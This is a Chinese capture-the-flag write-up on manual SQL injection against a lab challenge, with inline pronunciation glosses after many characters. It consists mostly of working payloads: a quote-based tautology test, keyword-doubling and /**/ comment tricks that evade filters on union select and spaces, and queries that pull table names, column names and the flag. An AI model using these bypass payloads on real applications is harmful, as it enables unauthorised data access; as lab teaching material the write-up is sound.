本系列文集:實(shí)驗(yàn)吧-Write up --將持續(xù)更新 覺得還不錯(cuò)請(qǐng)給個(gè)喜歡,感謝!
SQL注入詳細(xì)講解:
DVWA-SQL Injection(SQL注入)
SQL手工注入語句
簡(jiǎn)單的注入測(cè)試
1 正常
1' 無回顯
1' or '1'='1 全部數(shù)據(jù)
測(cè)試過濾:
union select
information_schema
information_schema.tables
information_schema.columns
table_schema
column_name
發(fā)現(xiàn)都被過濾了
重復(fù)輸入union select后發(fā)現(xiàn)空格也被過濾了,用兩個(gè)空格代替一個(gè)空格或用對(duì)注釋符/**/繞過
1.查詢當(dāng)前數(shù)據(jù)庫
1' unionunion selectselect database()' <兩個(gè)空格>
1'/**/union/**/select/**/database()'

圖片.png
2.查詢數(shù)據(jù)庫中的表
1' unionunion selectselect table_name fromfrom information_schema.tables wherewhere '1'='1 <兩個(gè)空格>
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

圖片.png
發(fā)現(xiàn)flag表
3.查詢flag表中字段名
1' unionunion selectselect column_namcolumn_namee fromfrom information_schema.coluinformation_schema.columnsmns wherewhere table_name='flag <兩個(gè)空格>

圖片.png
發(fā)現(xiàn)flag字段名
4.最后構(gòu)造出poc
1' unionunion selectselect flag fromfrom flag wherewhere '1'='1
1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

圖片.png